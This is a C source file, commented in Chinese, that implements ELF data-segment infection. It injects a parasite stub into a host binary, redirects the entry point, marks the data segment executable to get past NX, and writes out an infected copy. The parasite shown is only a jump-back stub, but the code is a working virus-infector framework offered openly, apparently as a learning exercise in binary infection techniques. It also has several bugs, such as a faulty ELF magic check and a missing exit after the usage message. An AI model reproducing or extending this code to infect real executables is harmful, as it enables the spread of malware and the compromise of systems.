#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <elf.h>

#define TMP "test2"

int return_entry_start = 1;
char parasite[] = "\x68\x00\x00\x00\x00\xc3";
unsigned long entry_point;
struct stat st;
long bss_addr;

int main(int argc, char **argv)
{

    char *host;
    int parasite_size;
    int fd, i;
    Elf64_Ehdr *e_hdr;
    Elf64_Shdr *s_hdr;
    Elf64_Phdr *p_hdr;
    long o_shoff;
    unsigned char * mem;

    if(argc < 2)
    {
        printf("Usage: %s <elf-host>\n",argv[0]);
    }

    host = argv[1];

    //检查宿主文件是否正常
    if((fd=open(host, O_RDONLY)) == -1)
    {
        perror("open");
        goto _error;
    }
    if((fstat(fd, &st)) < 0)
    {
        perror("fstat");
        goto _error;
    }

    //将宿主文件映射进内存中
    mem = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
    printf("[+] Address of %s maps to memory is 0x%X\n", argv[1], mem);
    printf("[+] Magic field is %c%c%c\n", mem[1],mem[2],mem[3]);
    if(mem == MAP_FAILED)
    {
        perror("mmap");
        goto _error;
    }

    e_hdr = (Elf64_Ehdr *)mem;
    //ELF文件检测
    if(e_hdr->e_ident[0] != 0x7f && strcmp(&e_hdr->e_ident[1], "ELF"))
    {
        printf("%s it not an elf file\n", argv[1]);
        goto _error;
    }

    /**
     * 2. 将 ehdr->e_shoff 增加寄生代码的长度,(这是因为节头表在最后的位置，会因为寄生代码的注入而被向后移动)。
     */
    parasite_size = sizeof(parasite);
    o_shoff = e_hdr->e_shoff;
    e_hdr->e_shoff += parasite_size;

    /*
     * 第1步和第3步：
     * 
     * 修改文件头入口点
     * 修改data段的文件长度和内存长度
     *
     */
    p_hdr = (Elf64_Phdr *)(mem + e_hdr->e_phoff);
    for(i=0; i<e_hdr->e_phnum; i++)
    {
        if(p_hdr[i].p_type == PT_LOAD)
        {
            if(p_hdr[i].p_offset != 0)
            {
                //保存原始.bss开始的位置
                bss_addr = p_hdr[i].p_offset + p_hdr[i].p_filesz;
                printf("[+] Find data segment\n");
                entry_point = e_hdr->e_entry;
                e_hdr->e_entry = p_hdr[i].p_vaddr + p_hdr[i].p_filesz;
                printf("[+] Data segment file size is 0x%X\n", p_hdr[i].p_filesz);
                printf("[+] New entry is 0x%X\n", e_hdr->e_entry);
                p_hdr[i].p_filesz += parasite_size;
                p_hdr[i].p_memsz += parasite_size;
                //对抗开启NX(可选项)
                p_hdr[i].p_flags |= PF_X;
            }
        }

    }

    /*
     * 4.调整.bss节
     * 
     */
    printf("[+] Prepare change after .bss and .bss's section\n");
    printf("[+] section header table offset is 0x%X\n", o_shoff);
    s_hdr = (Elf64_Shdr *)(mem + o_shoff);
    for(i=0; i<e_hdr->e_shnum; i++)
    {
        if(s_hdr[i].sh_offset >= bss_addr)
        {
            //printf("[+] Offset of section need to edit is 0x%X\n", s_hdr[i].sh_offset);
            s_hdr[i].sh_offset += parasite_size;
        }
    }

    /*
     * 7. 插入寄生代码
     *
     */
    mirror_binary_with_parasite(parasite_size, mem, parasite);

    printf("Data segment infect completed!\n");

_error:
    munmap(mem, st.st_size);
    close(fd);
    return 0;

}

void mirror_binary_with_parasite(unsigned int psize, unsigned char *mem, char *parasite)
{
    int ofd;
    int c;

    printf("Mirroring host binary with parasite %d bytes\n",psize);
    if((ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC, st.st_mode)) == -1)
    {
        perror("tmp binary: open");
        goto _error;
    }
    //写入到data段结尾的数据
    if ((c = write(ofd, mem, bss_addr)) != bss_addr)
    {
        printf("failed writing ehdr\n");
        goto _error;
    }

    printf("Patching parasite to jmp to %lx\n", entry_point);
    //写入寄生代码
    *(unsigned int *)&parasite[return_entry_start] = entry_point;
    if ((c = write(ofd, parasite, psize)) != psize)
    {
        perror("writing parasite failed");
        goto _error;
    }

    mem += bss_addr;
    if ((c = write(ofd, mem, st.st_size-bss_addr)) != st.st_size-bss_addr)
    {
        printf("Failed writing binary, wrote %d bytes\n", c);
        goto _error;
    }

_error:
    close(ofd);
}